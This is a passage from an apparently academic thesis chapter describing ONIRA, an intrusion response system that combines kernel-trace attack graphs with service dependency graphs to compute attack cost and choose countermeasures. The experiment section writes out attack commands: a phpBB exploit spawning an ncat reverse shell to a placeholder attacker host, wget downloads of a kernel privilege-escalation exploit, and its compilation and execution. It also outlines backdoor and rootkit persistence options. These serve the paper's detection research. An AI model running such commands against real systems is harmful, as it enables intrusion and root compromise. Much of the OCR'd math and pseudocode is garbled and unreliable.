(inter-layer) dependencies, or as functional (inter-layer) dependencies.

Our new, proposed approach, called ONIRA, goes beyond the work reviewed here. Its
main contributions can be summarized as follows :

— (i) Tt capitalizes on the advantages of the Attack Graph-based and Service Dependency
Graph-based approaches to calculate attack cost. In fact, when we use the attack graph
approach for calculating risk, we do not have any knowledge about the true value of the
compromised service, nor do we know the real impact of an attacker gaining full access

to a compromised service based on predefined permissions among services. In contrast,
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when we use the second method to calculate the risk separately, we do not have any
information about the intruder’s knowledge level. The main contribution of this work
is to combine the Attack Graph-based and Service Dependency Graph-based approaches
to calculate the attack cost, which we call ONIRA.

— (ii) It detects an attack and generates an attack graph based on kernel level events,
which is new in this work.

— (iii) It considers backward and forward impact propagation in the service dependency
graph to calculate the real impact cost to the target service.

— (iv) It proposes an accurate response selection mechanism to attune the attack and

the response costs.

6.4 Proposed Model

Figure illustrates the proposed structure of our model. We briefly introduce the ar-
chitecture of our system here, and provide the details of each of its components in later
subsections.

The proposed model is designed for the Linux Trace Toolkit next generation (LTTng)
tracer [3] in online mode. The most significant challenge for all tracing tools is to minimize
the impact of tracing on the computer involved. Not only does LTTng have a very low
overhead, but it is also capable of tracing kernel space and user space activities. These
specific LT'Tng characteristics help in the monitoring of a broad range of computer activities.
The Dynamic Attack Graph (DAG) component registers all system calls that are predefined
as preconditions of all the detection state components. Based on registered system calls, the
detection component sends alerts to the DAG component. To perform the correlation between
states and check the preconditions, the DAG receives help from the State History Database
(SHD). This database stores current and historical state values of the system services, and
keeps track of all information about running processes, executing the status of a process, file
descriptors, disk, memory, locks, etc. [53,[94]. When the detection component reads the trace,
it stores all the useful information in the SHD and is responsible for updating it. The service
dependency graph component presents a network model that accounts for the relationships
between users and services, illustrating that they perform their activities using the available
services. This component helps to evaluate the impact of an attack on a service based on
service value and on dependencies on other services. The online risk assessment component
analyzes the attack cost based on the output of the attack graph and the service dependency
graph components. Finally, the response selection component selects the best candidate from

the list of countermeasures available to mitigate the attack, based on the attack cost. When
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a response is applied to the network, the service dependency model can be modified.

6.4.1 Attack Modeling

An IDS usually generates a large number of alerts. So, the output of an IDS is a temporally
ordered, fast changing, potentially infinite, and massive data stream. There is not enough time
to store these data and rescan them as static data [5]. Of course, there may be aggregation
and correlation components between the detection and risk assessment components to reduce
the number of false alerts. The correlation algorithm helps us obtain real time hyper-alerts,
to enable us to understand what is going wrong in the network system and to identify attacks
accurately. The correlation methods proposed in the last decade can be classified into three
categories [108, 109] : explicit, semi-explicit, and implicit correlations.

In the explicit correlation, all the attack scenarios have to be defined statically. Several
steps, which are the event signatures, form the attack graph [I10]. The semi-explicit corre-
lation type generalizes the explicit method by introducing preconditions and postconditions
for each step in the attack graph [6]. The implicit correlation attempts to find similarities
between alerts in order to correlate them. To model an attack, we propose a semi-explicit
method using preconditions and postconditions. The following template is used for each state
in the attack graph, as proposed in the LAMBDA [6] language, but we add some attributes

to this language in order to calculate the attack cost accurately :
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State name(arg,args, ...)
Preconditions :
network :
Pny A Pno A ... A Pn,,
intruder :
Piy AN Pis A\ ...\ Pi,
knowledge level :
kl = {Yes|No}
Postconditions :
network effects :
Pny A Pny A ... A Pny,
intruder :
Pi; A Piy A ... A Pi,
CIA effects :
con fidentiality Loss(service|host, impact)\
integrityLoss(servicelhost, impact)/\
availability Loss(service|host, impact)

— Preconditions are classified into three sections : intruder privileges, network configura-
tions, and intruder knowledge level. If all the conditions of the first two sections are
satisfied, the current step has been performed, and all the postconditions will be met.
The third section, intruder knowledge level, is included in the precondition group, as
it is a very important field which is assigned to each state. It is initialized using the
Yes/No variable. If its value is initialized to Yes, the attacker can skip the state. We
call this type of state the "knowledge state”. If the attacker jumps from the knowledge
state, it is because he has information about the network services targeted and their
vulnerabilities. A common state in the attack graph is the "probing state”. The intruder
knowledge level helps to select the appropriate response more efficiently.

— Postconditions illustrate that a successful attack has occurred and that damage has
been caused to network services and users, and also what new permissions the attacker
has gained. A section is introduced in this paper, called CIA effect, which indicates the
intruder’s effect on Confidentiality, Integrity, and Availability. Confidentiality ensures
that an authorized user only has access to certain services. Integrity verifies that an
authorized user can modify assets in an acceptable manner. Availability means that
the assets are always accessible to the authorized users. CIA loss is classified into three
levels : low, medium, and high.

The following are some propositions for modeling preconditions and postconditions :

— service(h, s, p) : Host h offers a service s on its port p.
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— reachable(h, h, p) : Host h is reachable from h on port p.

— priv(u, h, ¢) : User u has access to host h with privilege c¢. The privilege has been
classified into three levels : access, modify, and admin.

— vulnerable(s, v) : Service s has security vulnerability wv.

— ezecule(s, ¢) : Service s runs command c.

— knows(a, t) : Attacker a knows t, where ¢ may be any proposition.

— highConnection(h, h, T) : h connects to h more than threshold T.

6.4.2 The graph model

In this subsection, we introduce the graph model used to evaluate the attack’s impact
on a service. Our elements in this graph model are services, denoted S. For each service 1,
three properties are defined : C(S), I(S), and A(S) as Eq. illustrates. They denote the

confidentiality, integrity, and availability of the service respectively.

Q

S(V)vatwe = | 1 (6.1)

AN

In the service dependency graph, as illustrated in Figure [6.3], two edges are available bet-
ween every two services : (i) backward edge loss ; and (ii) forward edge loss. Each edge is asso-
ciated with a CIA matrix as illustrated in Eq. and Eq.[6.3] Forward edge loss indicates that
the attacker has compromised service i, the probability that he can impact forward service
j in the service dependency graph, in terms of confidentiality, integrity, and availability loss
POl s, = (ROOT|READONLY)).

Backward edge loss illustrates the backward effect, when a service ¢ is under the control of an

(service 7, and has permission to access service j, s;

attacker, and the effect on all the CIA parameters. Of course, no service that has a functional

dependency on compromised service ¢ will work properly.

Confidentiality Loss;;
ForwardEdge(S(i), S(j)) = IntegrityLoss;;

(6.2)
AvailabilityLoss;;
Con fidentialityLossj;
BackwardEdge(S(i), S(j)) = IntegrityLossj; (6.3)

AvailabilityLoss j;

The service impact assessment process for service i is calculated using Eq. [6.4]
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Impact(S;) = DirectImpact(S;)+
ForwardImpact(S;)+ (6.4)
BackwardImpact(S;)

This process includes three steps : (1) Direct impact : assessed on the service targeted
by the attacker using Algorithm [5] :

ALGORITHM 5: DirectImpact()
Require: g service
Require: A : CIA triad
: Begin

1
2. TotalDI = 0

3: TotTDIg:sc
4 TotalDI, = s;
5: WZSA

6: return TotalD
7. End

(2) Forward impact : calculated as illustrated by Algorithm 6] As depicted in Figure[6.3]
service Sy uses the functionality of services S3 and Sy. If the attacker obtains root permission
on service So, based on the predefined permission between S — S5 and S, — Sy, he can forward
damage to the other two services. If the type of permission between two services is root, the
attacker can affect all the CIA parameters (lines 6-9, Algorithm @ However, if the type of
permission is read-only, then only availability is affected (lines 11-14, Algorithm @ For each

C Loss
Attack Forward Loss =| | Loss
Aloss

(Closs) ™. .
Backward Loss =| | Loss », Direct Impact

(_Aloss ) P
Cc —\ C
| RN |
A ) A
C C
| |
A A

J J
Backward Impact Forward Impact

Figure 6.3 Different impact concept by attack
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service S available in the forward direct list of services £, we call the ForwardImpact(S, I¢)
function again to calculate the forward impact (line 20, Algorithm @ I¢ is the impact on
service S as a consequence of its connection with £ —S. When we are calculating the forward
impact, we have to check whether or not a service has a backward connection. As illustrated
in Figure , if the attack is on service Sy, the forward direct list is {Ss, S3,S4}. When we
calculate ForwardImpact(Ss, Is,), we have to calculate BackwardImpact(So, Is,) as well.
(3) Backward impact : calculated as illustrated by Algorithm [} There are different
kinds of dependencies between services [50, 52], depending on the availability property. So-
metimes, a service depends on the functionality of one or more services. If service availability
does not depend on other services, we denote it as intrinsic. Jahnke et al. [52] present a com-
plete dependency list between services. In this paper, the mandatory type was considered,
which requires the functionalities of all the services on which a service depends. We define
the backward impact such that the mandatory dependency is not able to continue working
(impact on A) or data integrity or confidentiality are modified. In a Denial of service (DoS),
since the attacker is slows down the functionality of a service, he is decreasing the service
availability (A). So, the backward effect on all services that have a mandatory dependency
on this service is on availability (lines 11-14, Algorithm . In contrast, in the User to root
(U2R) or Remote to local (R2L) attack types, since our service is under the control of an
attacker, the effect is on all the CIA parameters (lines 6-9, Algorithm . Therefore, the at-
tacker can change the access to the service or modify data. Suppose that the Apache service
has a dependency on the MySQL service. If the attacker attempts to run an attack of the
U2R type on MySQL service, the Apache service will not show correct information to the

website.
Finally, we calculate the attack’s impact on service S;, as illustrated by Eq. [6.5]

¢ = TotalDI¢ + TotalFI¢ + Total Bl ¢
1 = TotalDI; + Total FI; + Total BI;

)a = TotalDI 4 + TotalFI 4 + TotalBI 4 (6.5)

Since we want very fast decision making in our response system, we calculate the impact
on all services in advance, as illustrated by Algorithm [§] Ultimately, we normalize all the

impact values to the 0 to 1 range (lines 14-17).

6.4.3 Attack Cost Model

When the detection component detects an attack, it generates an alert containing infor-

mation about that attack. The DAG component correlates this information to obtain a better
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ALGORITHM 6: ForwardImpact()

Require: g service
Require: A : CIA triad
1: Begin
2: Total F' 1 =0
3: forwardDirectNode={s1, s2, ..., sp}
4: for each s € forwardDirectNode do

T =0

5: o
6. if ¢ T ¢ — ROOT then
— -— confidentialityLoss
7 IC:AOX5 fidentialityl > S X S¢o
— - integrityLoss
8: I[:A[X§%SX81
- - availabilityLoss
9: Ip=Ap X ———5X 58y
10:  else o
11: if £, e s = READONLY then
12: [_@} =0
B =0
14: I — AA % 5 availabilityLoss $ X 54
15: end if
16:  end if NN
17. Total FI. = Total FI¢ + I
) =
18:  TotalFl; = TotalF'I; + I
> —
19: TOtCLlFIA = TOtCLlF[A + IA
20:  Fl= Forward]mpact( ?)
21: TotalF]C = TotalF]C + F]C
22: TotalFII TotalF]I + FII
23: TotalFIA—TotalF[A—l—FIA
2. Bl = BackwardImpact (s, ?)
95.  TotalFI; = Total FI: + BI¢
> > =
26: TOtCLlF[[ = TOtCLlF][ + BI[
o7:  TotalFI, = Total 1, + B,
28: end for

29: return TotalF
30: End
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ALGORITHM 7: BackwardImpact()

Require: i service
Require: A : CIA triad
Require: VU : attack type
1: Begin
2: Total B
3: backwarlerectNode:{sl, Sy ey Sn}
4: for each s € backwardDirect Node do

5: ? =0
6: if W = (U2R or R2L) then
— -— confidentiali 088
7 Ic = Ac x & fidentialityLoss, S X S¢
— _> integrityLoss
8: I; = é % X 81
— _> availabily 088
9: Ip=A  x¢& avolabilityboss, o Sa
10: else
11: if g: DoS then
12: [_C; =0
B =0
14: [A _ AA Xf availabilityLoss $ X 54
15: end if
16: end if _
17 TotalBlo =TotalBlo + I
> =
18:  TotalBI; = TotalBI; + I
> =
19: TOtCLlBIA = TOt(ZlB[A + IA
20:  Fl= BackwardImpact(s, ?)
o1:  Total Bl = Total Bl + FI
> =
22: TotalBII TotalB]] + FI
23: TotalBIA = TotalBIA + F4
24: end for

25: return TotalB
26: End
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ALGORITHM 8: Offlinelmpact()
Require: ¢ : service dependency graph

1: Begln
2: AC’ =1
3: =1
4: %A =1
5. for each s € ¢ do
6: TotalDI = DirectImpact(s, K)
Ly
7. TotalFl = ForwardImpact(s, A)
A
s TotalBI = BackwardImpact(s, A) .
9:  Impact(s)c = TotalDIo + Totalec + TotalBjC
10:  Impact(s); = TotalDI; + TotaleI + Totalle
11:  Impact(s)s = TotalDI 4+ Total FI 4 + TotaleA
12 Impact(s) = Impact(s)c + Impact(s)r + Impact(s) 4
13: end for
14: mazl = max(Impact(s;))
15: for each s € ¢ do
16:  NormalizedImpact(s) = Impact(s)/maxl
17: end for
18: End

understanding of the attack’s progress. At the same time, the service dependency component
takes into account user needs in terms of quality of service (QoS) and the interdependencies
of critical processes. To calculate the Attack Cost (AC,) we use the Attack Graph-based and
Service Dependency Graph-based approaches. The attack graph component provides accurate
information about the progress of the attack, the effect on CIA, and the attacker’s know-
ledge level. The service dependency component gives the true impact value of a compromised
service based on the impact propagation in the dependency graph. So, the parameters for

calculating the attack cost are :

Attack Cost Parameters = {knowledge level, effect on CIA, attack frequency,

attack graph parameters

direct impact, forward impact, backward impact}

service dependency graph parameters

The attack cost is calculated using Eq. k, ¥, and & denote knowledge level, attack
frequency, and service value respectively. a, 3, v, and ¢ are constant coefficients that multiply

the value of each parameter.
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ke 0—1]

Ve[l — o]

Eel0—1] (6.6)
Apaz € [0 — 1]

U=axk+XUV+vXE+I X Ana

To calculate the knowledge level (k), we look at how many kl= Yes states are skipped by
the attacker. The knowledge level is calculated using Eq. [6.7}

the number of skipped states (6.7)
kR = .
the number of knowledge states

¥ represents the frequency of similar incidents that have occurred within a particular
period of time. £ is the real impact obtained from the service dependency graph, based on
predefined permissions among services, as illustrated by Algorithm [§].

Apqe is obtained from the attack graph and calculated, as illustrated by Eq. [6.8 Ag,...
Ap,..,and Ay, denote the maximum values among the successfully executed attack steps
in the attack graph. Eventually, A,,.. is calculated with the sum of the three CIA parameters
divided by 3.

Vz € executed step in attack graph

Ag,... = maz(x.Con fidentiality Loss)
Ay, .. = maz(z.IntegrityLoss) (6.8)
Ay, .. = mazx(z.Availability Loss)

Amaz - 3

6.4.4 Response Selection Model

In this section, we introduce the Response Selection Module (RSM). The proposed RSM
is fast, and can be useful for assessing the attack cost and selecting the appropriate response.

First, we look at the concept of response cost. There are three types of response cost
models [B] : (i) Static cost model : The static response cost is obtained by assigning a static
value based on expert opinion. Then, we sort all the responses based on that value; (ii) Static
evaluated cost model : A statically evaluated cost, obtained by an evaluation mechanism,
is associated with each response. A common solution is to evaluate the positive effects of
the responses based on their consequences for the confidentiality, integrity, availability, and
performance metrics. To evaluate the negative impacts, we can consider the consequences

for the other services, in terms of availability and performance; (iii) Dynamic evaluated cost
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model : The dynamic evaluated cost is based on the network’s situation. We can evaluate
the response cost online based on the dependencies between services and online users. This
results in an accurate, cost-sensitive response system.

Although dynamic evaluated cost models are more accurate, we assume that our service
dependency model is static and does not change over time. So, we evaluate all the responses
in advance, as in the second approach.

Another challenge is response performance. The fact is that it differs with the attack
type. Suppose that we have an Apache Web server process under the control of an attacker.
This process is now a gateway for the attacker inside our network. The generally accepted
countermeasure would be to terminate this dangerous process. By applying this response, we
will increase our data confidentiality and integrity. However, as a negative impact, we will
lose Apache availability. In another scenario, we could have a process on a server consuming
a considerable portion of the CPU, achieving nothing except slowing down our machine (e.g.
CPU DoS attack). This time, killing this process will improve service availability, and not
degrade data confidentiality and integrity. These two scenarios illustrate that we can have two
very different results for the same response. So, it is not enough to evaluate responses without
considering the nature of the attack. In this paper, we propose an ordered list proposed only
for the U2R/R2L attack type.

Algorithm [J]illustrates how the response selection module selects the best response based
on the attack cost (V). We sort all the responses based on the response impact on network
services. Then, we assign the rank of each response to the response cost attribute. RSM
selects the appropriate response, such that its cost is close to the attack cost (¥) value (lines
4-6). When the attack cost of similar incidents is equivalent, we select the next response in
the ordered list (line 8). This situation occurs when the attacker first shows that he has a
knowledge level (kl is greater than zero), skips some states in the attack graph, and then

runs all the steps of an attack scenario (kl is zero).

6.5 Experiment Results

6.5.1 Implementation

We have implemented a Java tool in Linux, which consists of three major components :
1) Detection, which takes the LTTng trace as input and sends alerts to the DAG component.
The DAG component registers all system calls predefined in the preconditions of all states
in the attack graph. 2) Dynamic Attack Graph, which is implemented to manage the attack
graph. It consists of some states with preconditions and postconditions, and is based on

LAMBDA language. 3) Service Dependency Graph, in which we define all the services and
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ALGORITHM 9: Response Selection Module()

Require: VU : attack cost
Require: p : previously applied response

1: Begin

2: OrderedList={ Ry, Ra, ..., R}
3: if p =0 then

4: =1

5: else

6: 1=p

7: end if

8: while i < n and R(i).Cost < ROUND(V) do
9: 1=1+1

10: end while

11: if p=7and i+ 1 <n then
12:  Candidate= R(i+1)

132 p=1i+1

14: else

15:  Candidate= R(i)

16: p= 7

17: end if

18: End

their relationships. It allows the security expert to value : (i) all services, (ii) forward impact
paths, and (iii) backward impact paths based on the CIA triad. 4) Risk Assessment, which
receives all the information from the DAG and the attack graph, and computes the attack
cost. 5) Response Selection, which allows the security expert to evaluate all the responses
based on the static evaluation approach. In online mode, this component receives the attack
cost value from the risk assessment component and selects the response that ensures that the

attack cost will be proportional to the response cost.

6.5.2 Simulation Setup

The proposed model is designed for the LTTng tracer in online mode. The most significant
challenge for all tracing tools is to minimize the impact of tracing on the traced computer.
Not only does LTTng have a very low overhead, but it is also capable of tracing kernel space
and user space activities. These specific LT Tng characteristics help in the monitoring of a
broad range of computer activities.

For performance testing, the Linux kernel, version 2.6.35.24, is instrumented using LT Tng,

version 0.226, and the simulations are performed on a machine with an 8-core Intel Xeon
E5405 clocked at 2.0 GHz with 3 GB of RAM. On the Web server, the detailed trace for
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monitoring and attack detection is generated at the rate of 385 KB/sec.

We considered a network model, as illustrated in Figure[6.4] to evaluate our results, which
shows a network that consists of an external DMZ. The external user (Internet user) can only
use the company website and email service. All ports of IP 192.168.10.3, used internally by

the MySQL database server, are closed to external users.

192.168.10.1/24

External DMZ

Web DB

el
192.168.10.2 192.168.10.3

Attacker Firewall/Router LDAP
192.168.10.5;

DNS Mail
192.168.10.5  192.168.10.4

Figure 6.4 Experimental network model

6.5.3 Attack Scenario

An attack scenario is sophisticated. In the first part of the scenario, the attacker attempts
to gain unauthorized access to a computer from a remote machine by exploiting system
vulnerabilities (R2L). In the second part, he tries to obtain root privileges (U2R). The steps
the attacker follows have been grouped into five phases : 1) Phase 1 (Probing) : The attacker
performs network and port scans to probe a network to find available services. The objective
in this step is to gather useful information (nmap tool) to compromise the target host. The
nmap results illustrate that there is a Web server, and so the attacker continuously runs
the Skipfish tool to detect security flaws. The Skipfish results illustrate that forum phpBB2
is available on the server. 2) Phase 2 (Exploit phpBB) : The attacker exploits the phpBB2
2.0.10 ’viewtopic.php’, which has a remote script-injection vulnerability, in turn allowing
a remote attacker to execute arbitrary PHP code [95]. In fact, the attacker provides data
to the vulnerable script through the affected parameter. The highlighting code employs a
"preg_replace()’ function call that uses a modifier ’e’ on attacker supplied data. This modifier
causes the replacement string to be evaluated as PHP. As a result, the attacker can execute
any command directly on the server, as Apache user (CVE-2005-2086 [96]). In this step, the
attacker is seeking to provide user-friendly access to the remote system, and so creates a
reverse command shell. First, he sets up a listener on his machine. Then, he runs the ncat

command via a remote script injection vulnerability. 3) Phase 3 (Download exploit) : The
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attacker downloads an exploit using wget from his machine. 4) Phase 4 (Exploit linux kernel
2.6.37 to obtain root) : This exploit leverages three vulnerabilities (CVE-2010-4258, CVE-
2010-3849, CVE-2010-3850) to obtain root access. (All these vulnerabilities were discovered
by Nelson Elhage [97].) The attacker goes on to compile the program on the target machine
and then executes it, and so gains root privileges. 5) Phase 5 (Install a permanent access) :
Once the attacker has root access, he wants to attain permanent root access (even if the
administrator has fixed the vulnerabilities), and also erase his tracks. To do so, the attacker
has a number of choices : (i) create a user and do what is necessary to obtain permanent root
access (uid 0, sudo, and an easily callable root ’gateway’, like the root-sh command); (ii)
run a daemon as a root offering a root shell (this starts on reboot - the backdoor approach ;
however, the process is not called ’./backdoor’, but has an innocuous name, to avoid being
detected as soon as an administrator looks at the process list) ; and (iii) implement the kernel
level rootkit : this can give the attacker a kind of invisible shell access. Finally, the attacker

creates a new user on the target machine.

6.5.4 Detection of Attack

The detection component takes the LT Tng trace as input and sends alerts to the Dynamic
Attack Graph component, based on registered system calls. For the sophisticated multi-step
attack that has been designed, the DAG registers these system calls : sh, ncat, wget, cc, and
adduser. In this section, we describe the steps of the sophisticated multi-step attack based
on the LAMBDA language. As mentioned, we have added some attributes to this language,
in order to calculate the attack cost and response selection mechanism accurately.

As illustrated in Figure[6.5], there are several ways the attacker can reach the target. State
S1 shows the first step in the attack graph, in which the attacker probes the network. He runs
several tools to find weaknesses that will enable him to break into that machine. In doing so,
he scans a huge number of connections within a short interval. We use a threshold detection
mechanism to reveal any network scanning taking place.

One example of a probing connection

in a trace file is the following:

net.socket_accept: 12253, 12253, apache2, , 2424,

0x0, SYSCALL { fd = 3, upeer_sockaddr =
0xbfb7816c, upeer_addrlen = 0xbfb718330,
flags = 0, ret = 9 }

service(H,, apache,80) means that service apache is active on server H, on port 80.
reachable(H,, H,,,80) means that attacker machine H, has remote network access to the
target host H,,. vulnerable(apache, CVE-2005-2086) means that the 'viewtopic.php’ phpBB
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Figure 6.5 Dynamic Attack Graph

script is prone to a remote PHP script injection vulnerability (CVE-2005-2086), and is a
condition that is activated based on the CVE database [96]. This line in the trace file illus-

trates that the Apache process has received the request from the attacker machine.

fs.open: 12830, 12830, apache2, , 2424, 0xO,
SYSCALL { fd = 10, filename =
"/var/www/phpBB2/viewtopic.php" }

Since the attacker exploits 'viewtopic.php’, the knows(U,, CVE-2005-2086) condition, is
activated. These two conditions, knows(U,, H,,) and knows(U,, CVE-2005-2086) mean that
the attacker U, knows the Apache service is running on H,, and that there is remote script-
injection vulnerability on phpBB2. Once the number of connections passes the threshold, the
third and final condition, highConnection(H,, H,,,1000), is activated. It is important to note
here that if a normal user requests 'viewtopic.php’, all the conditions of the probing state are

activated, except the highConnection() condition.

State S : probing
Preconditions :

network :
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service( H, ,apache, 80)A

web server machine

vulnerable(apache, CVE-2005-2086 A
vulnerability in vievxopic.php in phpBB2

reachable( H, , Hy,y 80)A

attacker machine

highConnection(H,, H,, 1000)
intruder :
knows( U, s Hy)N\

—~

malicious user

knows(U,, CVE-2005-2086)
knowledge level :
kl =Yes

Postconditions :

network effects :

¢

intruder :

knows(U,, CVE-2005-2086)A
probing(H,)

CIA effects :

con fidentiality Loss(apache, ¢)\

integrity Loss(apache, ¢)A\
availability Loss(apache, p)A

The knowledge level value is Yes, which means that, if the attacker jumps from the probing
phase, he has information about the targeted network services and their vulnerabilities. All

facilities are available to the attacker to execute the following command :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "ncat -e /bin/sh x.x.x.x 9999"

When the attacker runs this command, it triggers execution of the second state. State
Sy shows that the attacker has created a reverse command shell to provide user-friendly
access to the remote system. There are two sets of preconditions. The first possibility is to
perform a probing state, and the second is to skip the probing state. The Apache process
spawns a shell (execute(apache, shell)) for ncat (execute(shell,ncat)). 'net.socket_create’
and 'net.socket_connect’ in the trace file illustrate that ncat is connecting to a remote host
(reachable(H.,,, H,, 80)), which is the attacker machine (H,).
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Related information for the second state

in the trace file is the following:

fs.exec: 18322, 18322, /bin/sh, , 12830, 0x0,
SYSCALL { filename = "/bin/sh" }

fs.exec: 18323, 18323, /usr/bin/ncat, , 18322, 0x0,
SYSCALL { filename = "/usr/bin/ncat" }

net.socket_connect: 18323, 18323, /usr/bin/ncat
, 18322, 0x0, SYSCALL { fd = 3, uservaddr
= 0x80640a0, addrlen = 16, ret = -115 }

The knowledge level value is No for this state, and means that, if the attacker skips this
state, he may or may not have knowledge about the network.

Since Apache supports shell commands, it allows unauthorized disclosure of information.
So, the effect on confidentiality is medium. Since the attacker does not get root permission,
the effect on integrity is ¢. However, since the attacker can write elaborate shell scripts,
this can slow down the performance of the Apache service. So, the effect on the availability

criterion is considered low.

State S : ncat by apache
Preconditions :
network :
execute(apache, shell) A
execute(shell, ncat)\
feachable(Hw, H,, 80)1

-~

ncat—> H,
connect

intruder :

probing(H., )N

knows(U,, execute(apache, shell))A
knows(U,, execute(shell, ncat))

knowledge level :

kl= No
V
network :

service(H,, apache,80)A
vulnerable(apache, CVE-2005-2086)A
reachable(H,, H,,,80)A\
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execute(apache, shell) A
execute(shell, ncat)\

reachable(H,,, H,, 80)

-~

ncat—> H,
connect

intruder :

knows(U,, execute(apache, shell)) A
knows(U,, execute(shell, ncat))
knowledge level :

kl = No

Postconditions :

network effects :

execute(apache, ncat)
intruder :
reverse_shell(U,, H,,)
CIA effects :

con fidentiality Loss(apache, medium) A

i

~
Allows unauthorized disclosure of information

integrityLoss(apache, p)A\

availability Loss(apache, low)

~
Allows disruption of service

State S3 is about uploading the exploit on the Web server machine. There are three
sets of preconditions. The first possibility is to create a reverse shell, and then download an
exploit (LPE.c) using the wget command from the attacker machine. As mentioned earlier,
this exploit leverages three vulnerabilities (CVE-2010-4258, CVE-2010-3849, and CVE-2010-

3850) to exploit Linux kernel versions earlier than 2.6.37 to obtain the root :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "ncat -e /bin/sh x.x.x.x 9999"
> wget x.x.x.x/LPE.c

Another possibility is to skip user-friendly access to the system and upload the exploit

using the wget command from the attacker machine (without skipping the probing state) :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "wget x.x.x.x/LPE.c -0 /tmp/LPE.c"

The last possibility is to skip user-friendly access to the system and the probing state.
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executes

The chain if the attacker performs the first state is the following : apache

executes connects\ H executes executes

shell —— ncat a shell —— wget. If the attacker skips the first

executes executes

state, we see this chain in the dynamic attack graph : apache —— shell — wget.
The knowledge level value is Yes for the two possibilities. Because the attacker can execute
this multi-step attack, the exploit may already exist on the target machine and may be
executed directly.
Since the exploit has been uploaded to the Web server machine, this machine can poten-

tially be compromised. So, all the CIA parameters are initialized to low.

State S3 : shell executes wget
Preconditions :
network :
execute(shell, wget)
intruder :
reverse_shell(Uy, Hy,)A
knows(U,, execute(shell, wget))

knowledge level :

kl =Yes
V
network :

execute(apache, shell) A
execute(shell, wget)

intruder :

probing(H., )N

knows(U,, execute(apache, shell))A
knows(U,, execute(shell, wget))

knowledge level :

kl =Yes
V
network :

service(H,, apache, 80)A
vulnerable(apache, CVE-2005-2086)A
reachable(H,, H,,,80)A\
execute(apache, shell) A

execute(shell, wget)
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intruder :

knows(U,, execute(apache, shell)) A
knows(U,, execute(shell, wget))
knowledge level :

kl =Yes

Postconditions :

network effects :

vulnerable(H,, exploity)

~
the attacker could upload the exploit on web server
intruder :

knows(U,, exploity)
upload_exploit(U,, exploity )

CIA effects :

con fidentiality Loss(apache, low)A
integrity Loss(apache, low) A

availability Loss(apache, low)

In state Sy, the program (exploit;) is compiled on the Web server machine. A process is

spawned by the ncat process to execute command cc :

> cc LPE.c -o LPE

When the attacker skips Sy, he runs the cc command as :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "cc /tmp/LPE.c -o /tmp/LPE"

There are four possibilities in this state, as illustrated in Figure [6.5] When the attacker
jumps from Sy, it means that he has information about the target platform. The effect on the
CIA parameters, since the Web server has the potential to be compromised, increases with

respect to the previous state.

State 5, : shell executes compile
Preconditions :
network :

vulnerable(H,, exploity )\
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execute(shell, cc)

intruder :

upload_exploit(U,, exploit;)
knows(U,, exploity)

knows(U,, execute(apache, shell)) A
knows(U,, execute(shell, cc))

knowledge level :

kl=Yes
V
network :

service(H.,, apache, 80)A
vulnerable(apache, CVE-2005-2086) A
reachable(H,, H,, 80)A\
execute(apache, shell) A
execute(shell, cc)

intruder :

knows(U,, execute(apache, shell))A
knows(U,, execute(shell, cc))

V

network :

execute(apache, shell )\
execute(shell, cc)

intruder :

probing(H,, )N\

knows(U,, execute(apache, shell))A
knows(U,, execute(shell, cc))

V

network :

execute(shell, cc)

intruder :

reverse_shell(U,, Hy)A

knows(U,, execute(apache, shell))
knows(U,, execute(shell, cc))
knowledge level :

kl =Yes

Postconditions :
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network effects :

vulnerable(H,, executable(exploity))

Vv
the attacker could compile the exploit on web server

intruder :

knows(U,, executable(exploity))

CIA effects :

con fidentiality Loss(apache, medium)N
integrityLoss(apache, medium) A

availability Loss(apache, medium,)

This is a sophisticated exploit in kernel mode that is unknown to us, meaning that there
is nothing in the trace file to reveal the attacker’s footprint. We have to wait for evidence
that the attacker has obtained root privileges. There are five possible ways for the attacker
to reach state S :

(i) Perform a probing state and upload the exploit with the wget command, and then

compile it on the target machine and eventually run it as follows :

> wget x.x.x.x/LPE.c
> cd /tmp

> cc LPE.c -o LPE

> ./LPE

(ii) Upload the executable exploit on the target machine and skip state Sy, as follows :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "wget x.x.x.x/LPE.c -0 /tmp/LPE.c"
> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "/tmp/LPE"

(iii) Skip states Sy, S3, and Sy, because the attacker knows that the exploit exists on the

target host and tries to run it as follows :

> ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "/tmp/LPE"

(iv) Skip states Ss, S3, and Sy and run the ncat state only to have user-friendly access to
the target machine.

(iv) Skip all the states, because the attacker doesn’t need the probing step, and he knows
that the exploit exists on the target host and tries to run it as in possibility (iii).

When we run this exploit, it executes a shell (execute(exploity, shell)).



140

State S5 : shell executes exploit
Preconditions :
network :
vulnerable(H,, executable(exploity)) A
execute(shell, executable(exploity)) N
vulnerable(kernel, CVE-2010-4258)
vulnerable(kernel, CVE-2010-3849)
vulnerable(kernel, CVE-2010-3850)
intruder :
knows(U,, executable(exploity))A
knows(U,, CVE-2010-4258)
knows(U,, CVE-2010-3849)
knows(U,, CVE-2010-3850)

knowledge level :

kl = No
vV
network :

vulnerable(H,,, exploit;) A
execute(shell, exploit;) A
vulnerable(kernel, CVE-2010-4258)
vulnerable(kernel, CVE-2010-3849)
vulnerable(kernel, CVE-2010-3850)
intruder :

upload_exploit(U,, exploit )
knows(U,, exploity )N

knows(U,, CVE-2010-4258)
knows(U,, CVE-2010-3849)
knows(U,, CVE-2010-3850)

knowledge level :

kl=No
V
network :

execute(apache, shell )\
execute(shell, exploit;) A
vulnerable(kernel, CVE-2010-4258)



vulnerable(kernel, CVE-2010-3849)
vulnerable(kernel, CVE-2010-3850)
intruder :

probing(H, )N\

knows(U,, execute(apache, shell))A
knows(U,, CVE-2010-4258)
knows(U,, CVE-2010-3849)
knows(U,, CVE-2010-3850)

knowledge level :

kl= No
V
network :

execute(shell, exploit) )N
vulnerable(kernel, CVE-2010-4258)
vulnerable(kernel, CVE-2010-3849)
vulnerable(kernel, CVE-2010-3850)
intruder :

reverse_shell(U,, Hy)A

knows(U,, CVE-2010-4258)
knows(U,, CVE-2010-3849)
knows(U,, CVE-2010-3850)

knowledge level :

kl = No
V
network :

service(H,, apache, 80)A
